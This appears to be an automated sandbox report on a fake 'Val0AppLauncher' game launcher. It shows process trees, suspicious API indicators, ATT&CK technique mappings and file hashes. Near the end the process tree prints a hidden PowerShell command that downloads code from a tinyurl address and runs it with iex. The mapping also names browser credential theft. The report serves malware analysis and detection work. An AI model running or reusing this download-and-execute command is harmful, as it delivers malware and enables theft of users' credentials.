2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2132	WinRAR.exe
2132	WinRAR.exe
2132	WinRAR.exe
2132	WinRAR.exe
2132	WinRAR.exe
2132	WinRAR.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe
3752	App_launcher.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
520	winrar-x64-720.exe
520	winrar-x64-720.exe
520	winrar-x64-720.exe
1748	uninstall.exe

Suspicious use of WriteProcessMemory 58 IoCs

description	pid	Process	procid_target
PID 2668 wrote to memory of 788	2668	chrome.exe	94
PID 2668 wrote to memory of 4580	2668	chrome.exe	95
PID 2668 wrote to memory of 4580	2668	chrome.exe	95
PID 2668 wrote to memory of 3880	2668	chrome.exe	96
PID 2668 wrote to memory of 2252	2668	chrome.exe	97
PID 2668 wrote to memory of 2252	2668	chrome.exe	97
PID 2668 wrote to memory of 1788	2668	chrome.exe	99
PID 2668 wrote to memory of 1788	2668	chrome.exe	99
PID 2668 wrote to memory of 3240	2668	chrome.exe	100
PID 2668 wrote to memory of 3240	2668	chrome.exe	100
PID 2668 wrote to memory of 3504	2668	chrome.exe	101
PID 2668 wrote to memory of 3504	2668	chrome.exe	101
PID 2668 wrote to memory of 1088	2668	chrome.exe	102
PID 2668 wrote to memory of 1088	2668	chrome.exe	102
PID 2668 wrote to memory of 2140	2668	chrome.exe	103
PID 2668 wrote to memory of 2140	2668	chrome.exe	103
PID 2668 wrote to memory of 3596	2668	chrome.exe	104
PID 2668 wrote to memory of 3596	2668	chrome.exe	104
PID 2668 wrote to memory of 744	2668	chrome.exe	106
PID 2668 wrote to memory of 2840	2668	chrome.exe	111
PID 2668 wrote to memory of 2840	2668	chrome.exe	111
PID 2668 wrote to memory of 876	2668	chrome.exe	112
PID 2668 wrote to memory of 876	2668	chrome.exe	112
PID 2668 wrote to memory of 4760	2668	chrome.exe	113
PID 2668 wrote to memory of 2140	2668	chrome.exe	114
PID 2668 wrote to memory of 4284	2668	chrome.exe	115
PID 2668 wrote to memory of 4380	2668	chrome.exe	116
PID 2668 wrote to memory of 4380	2668	chrome.exe	116
PID 2668 wrote to memory of 1468	2668	chrome.exe	117
PID 2668 wrote to memory of 1468	2668	chrome.exe	117
PID 2668 wrote to memory of 1708	2668	chrome.exe	118
PID 2668 wrote to memory of 1708	2668	chrome.exe	118
PID 2668 wrote to memory of 1584	2668	chrome.exe	119
PID 2668 wrote to memory of 4960	2668	chrome.exe	120
PID 2668 wrote to memory of 4960	2668	chrome.exe	120
PID 2668 wrote to memory of 836	2668	chrome.exe	121
PID 2668 wrote to memory of 836	2668	chrome.exe	121
PID 2668 wrote to memory of 1044	2668	chrome.exe	122
PID 2668 wrote to memory of 1044	2668	chrome.exe	122
PID 2668 wrote to memory of 4468	2668	chrome.exe	123
PID 2668 wrote to memory of 4468	2668	chrome.exe	123
PID 2668 wrote to memory of 2140	2668	chrome.exe	124
PID 2668 wrote to memory of 2140	2668	chrome.exe	124
PID 2668 wrote to memory of 2876	2668	chrome.exe	125
PID 2668 wrote to memory of 2876	2668	chrome.exe	125
PID 2668 wrote to memory of 768	2668	chrome.exe	126
PID 520 wrote to memory of 1748	520	winrar-x64-720.exe	128
PID 2668 wrote to memory of 2908	2668	chrome.exe	135
PID 3060 wrote to memory of 3752	3060	App_launcher.exe	136
PID 3752 wrote to memory of 1664	3752	App_launcher.exe	141
PID 3752 wrote to memory of 1664	3752	App_launcher.exe	141
PID 2668 wrote to memory of 4424	2668	chrome.exe	144
PID 3752 wrote to memory of 3364	3752	App_launcher.exe	145
PID 3752 wrote to memory of 3364	3752	App_launcher.exe	145
PID 3752 wrote to memory of 224	3752	App_launcher.exe	146
PID 224 wrote to memory of 4108	224	powershell.exe	148
PID 2668 wrote to memory of 2456	2668	chrome.exe	150
PID 2668 wrote to memory of 2456	2668	chrome.exe	150

C:\Users\Admin\AppData\Local\Temp\App_launcher.exe
"C:\Users\Admin\AppData\Local\Temp\App_launcher.exe"
1⤵
PID:1216

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2668
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffbc96ac728,0x7ffbc96ac734,0x7ffbc96ac740
  2⤵
  PID:788
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1700,i,16782414851794799730,8975065921908415313,262144 --field-trial-handle=1888,i,3994983258112137889,2991428342232871243,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=1880 /prefetch:2
  2⤵
  PID:4580
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1604,i,17263600853217659732,16344308379503795563,524288 --field-trial-handle=1888,i,3994983258112137889,2991428342232871243,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2284 /prefetch:3
  2⤵
  - Downloads MZ/PE file
  - System Time Discovery
  PID:3880
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2392,i,11372237251295056639,5890244567638438055,524288 --field-trial-handle=1888,i,3994983258112137889,2991428342232871243,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2568 /prefetch:8
  2⤵
  PID:2252
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3268,i,7292819821863436359,12688709643223045256,2097152 --field-trial-handle=1888,i,3994983258112137889,2991428342232871243,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3284 /prefetch:1
  2⤵
  PID:1788
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3412,i,16314380688568478925,7366996103323510294,2097152 --field-trial-handle=1888,i,3994983258112137889,2991428342232871243,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3500 /prefetch:1
  2⤵
  PID:3240
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4480,i,9589326759218894187,17920561172606348400,2097152 --field-trial-handle=1888,i,3994983258112137889,2991428342232871243,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4496 /prefetch:2
  2⤵
  PID:3504
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4760,i,2679185122129230552,10935457627784364236,2097152 --field-trial-handle=1888,i,3994983258112137889,2991428342232871243,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4768 /prefetch:1
  2⤵
  PID:1088
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4948,i,5472251203285943078,13182810395832027555,524288 --field-trial-handle=1888,i,3994983258112137889,2991428342232871243,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4920 /prefetch:8
  2⤵
  PID:2140
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5080,i,6048033618849085986,6260297143161401457,524288 --field-trial-handle=1888,i,3994983258112137889,2991428342232871243,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4940 /prefetch:8
  2⤵
  PID:3596
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5536,i,17568857539679137703,2498167357120195504,524288 --field-trial-handle=1888,i,3994983258112137889,2991428342232871243,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5456 /prefetch:8
  2⤵
  PID:744
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5740,i,2657946708716059085,12850321260594449800,2097152 --field-trial-handle=1888,i,3994983258112137889,2991428342232871243,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5816 /prefetch:1
  2⤵
  PID:2840
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=4736,i,1719947653416620658,8539228131233297876,2097152 --field-trial-handle=1888,i,3994983258112137889,2991428342232871243,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5792 /prefetch:1
  2⤵
  PID:876
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3416,i,11136290993778111207,16838409173495425037,524288 --field-trial-handle=1888,i,3994983258112137889,2991428342232871243,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3716 /prefetch:8
  2⤵
  PID:4760
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6064,i,14120333103763572100,4395774130295536431,524288 --field-trial-handle=1888,i,3994983258112137889,2991428342232871243,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3972 /prefetch:8
  2⤵
  PID:2140
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6076,i,13642855859865013145,11073427189352081415,524288 --field-trial-handle=1888,i,3994983258112137889,2991428342232871243,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3616 /prefetch:8
  2⤵
  PID:4284
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=4768,i,17239640242100253552,1086132526931732901,2097152 --field-trial-handle=1888,i,3994983258112137889,2991428342232871243,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4908 /prefetch:1
  2⤵
  PID:4380
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=4540,i,2674252607769584261,17964639125403862645,2097152 --field-trial-handle=1888,i,3994983258112137889,2991428342232871243,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4564 /prefetch:1
  2⤵
  PID:1468
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=5988,i,4962693756455296501,6644337937920509989,524288 --field-trial-handle=1888,i,3994983258112137889,2991428342232871243,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6108 /prefetch:8
  2⤵
  PID:1708
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=6268,i,1429055194905157336,5445049134816553429,524288 --field-trial-handle=1888,i,3994983258112137889,2991428342232871243,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6292 /prefetch:8
  2⤵
  PID:1584
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=6416,i,2260446806168686389,13089028058359736226,2097152 --field-trial-handle=1888,i,3994983258112137889,2991428342232871243,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=864 /prefetch:1
  2⤵
  PID:4960
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6604,i,7876019703871331066,11263428108797054898,524288 --field-trial-handle=1888,i,3994983258112137889,2991428342232871243,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6640 /prefetch:8
  2⤵
  PID:836
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --metrics-shmem-handle=6600,i,16395752933861113332,8247956804689590555,2097152 --field-trial-handle=1888,i,3994983258112137889,2991428342232871243,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6776 /prefetch:1
  2⤵
  PID:1044
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6868,i,8151987346777592101,10954678945584498769,524288 --field-trial-handle=1888,i,3994983258112137889,2991428342232871243,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6880 /prefetch:8
  2⤵
  PID:4468
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=6612,i,16582501498510998266,757713789383403818,2097152 --field-trial-handle=1888,i,3994983258112137889,2991428342232871243,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4976 /prefetch:1
  2⤵
  PID:2140
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --metrics-shmem-handle=6500,i,5375344964433763268,836270069829822205,2097152 --field-trial-handle=1888,i,3994983258112137889,2991428342232871243,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6452 /prefetch:1
  2⤵
  PID:2876
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4468,i,18070573851864625185,5997681745081877376,524288 --field-trial-handle=1888,i,3994983258112137889,2991428342232871243,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3544 /prefetch:8
  2⤵
  PID:768
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6224,i,16445406213305249129,4777166173250551689,262144 --field-trial-handle=1888,i,3994983258112137889,2991428342232871243,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6168 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2908
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2280,i,15356419623868341755,2985103240330190729,524288 --field-trial-handle=1888,i,3994983258112137889,2991428342232871243,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5600 /prefetch:3
  2⤵
  - System Time Discovery
  PID:4424
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=6212,i,10385060007157787710,1292667228914508388,524288 --field-trial-handle=1888,i,3994983258112137889,2991428342232871243,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4704 /prefetch:8
  2⤵
  PID:2456

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:512

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:312

C:\Users\Admin\Downloads\winrar-x64-720.exe
"C:\Users\Admin\Downloads\winrar-x64-720.exe"
1⤵
- Checks computer location settings
- Drops file in Program Files directory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:520
- C:\Program Files\WinRAR\uninstall.exe
  "C:\Program Files\WinRAR\uninstall.exe" /setup
  2⤵
  - Drops file in Program Files directory
  - Executes dropped EXE
  - Modifies system executable filetype association
  - Modifies registry class
  - Suspicious use of SetWindowsHookEx
  PID:1748

C:\Program Files\WinRAR\WinRAR.exe
"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\Admin\Downloads\Val0AppLauncher(Late_April_Update).rar"
1⤵
- Executes dropped EXE
PID:5088

C:\Program Files\WinRAR\WinRAR.exe
"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\Admin\Downloads\Val0AppLauncher(Late_April_Update).rar"
1⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
PID:2132

C:\Users\Admin\Downloads\Val0AppLauncher(Late_April_Update)\App_launcher.exe
"C:\Users\Admin\Downloads\Val0AppLauncher(Late_April_Update)\App_launcher.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3060
- C:\ProgramData\LightSlateGrayCrimson\App_launcher.exe
  "C:\ProgramData\LightSlateGrayCrimson\App_launcher.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Checks SCSI registry key(s)
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:3752
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    PID:1664
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:3364
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command \"iex ((New-Object Net.WebClient).DownloadString('https://tinyurl.com/clip43475431'))\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of WriteProcessMemory
    PID:224
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "iex ((New-Object Net.WebClient).DownloadString('https://tinyurl.com/clip43475431'))"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      PID:4108

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4924

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1668

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Component Object Model Hijacking

T1546.015

Privilege Escalation

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Component Object Model Hijacking

T1546.015

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Rar.txt

Path C:\Program Files\WinRAR\Rar.txt
Size 110KB
SHA256 c6eb9a85f529808571cd04e3d752b5269d3b7be0b3f2f1cbac011942b326103e
MD5 9a08ebded98c1260436a21869e80b1d9
SHA1 3951c44ca35fce4c8218d44e4aae1e568ea3205a
SHA512 7687c5643cb71d8a82d78da72e7d0f42d0ba8dfd0fba73ea89a323fdb50fc694d0ac0da7bfb47880ed63a336a639f52e4935ddc4aaeeb0df068c6face10d122a
SSDEEP 768:2odhu8h1SIfjcjKVbRZHwT93KEYiHSToOKyIQiVL18e5xGMm1tgD3cb+WkOPMmuB:2odhuGKKV9ZU9nSbKyIJL1ZYYsiWB5w
TLSH
T124B3C8277E8E1371257201965F1DA199E31090EF271B169538ED838C7F3A8A393F66EC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Uninstall.exe

Path C:\Program Files\WinRAR\Uninstall.exe
Size 402KB
SHA256 926df1506082e88f388f394f4c9d190a23b21e1519acf03d0e474528bb920c8b
MD5 a49476fbc8efa147bec8df78b46e1d52
SHA1 ba08ed7bae509ae98205870493f5406edf2592c2
SHA512 749ef159c1ec81bc819fdbbf2f2444a0d1610d1690f57eff0f2d459b2228542e74496da0fe452f7743b36c8808f7527cfc5f6beb0358b185e86add8b5a398c2d
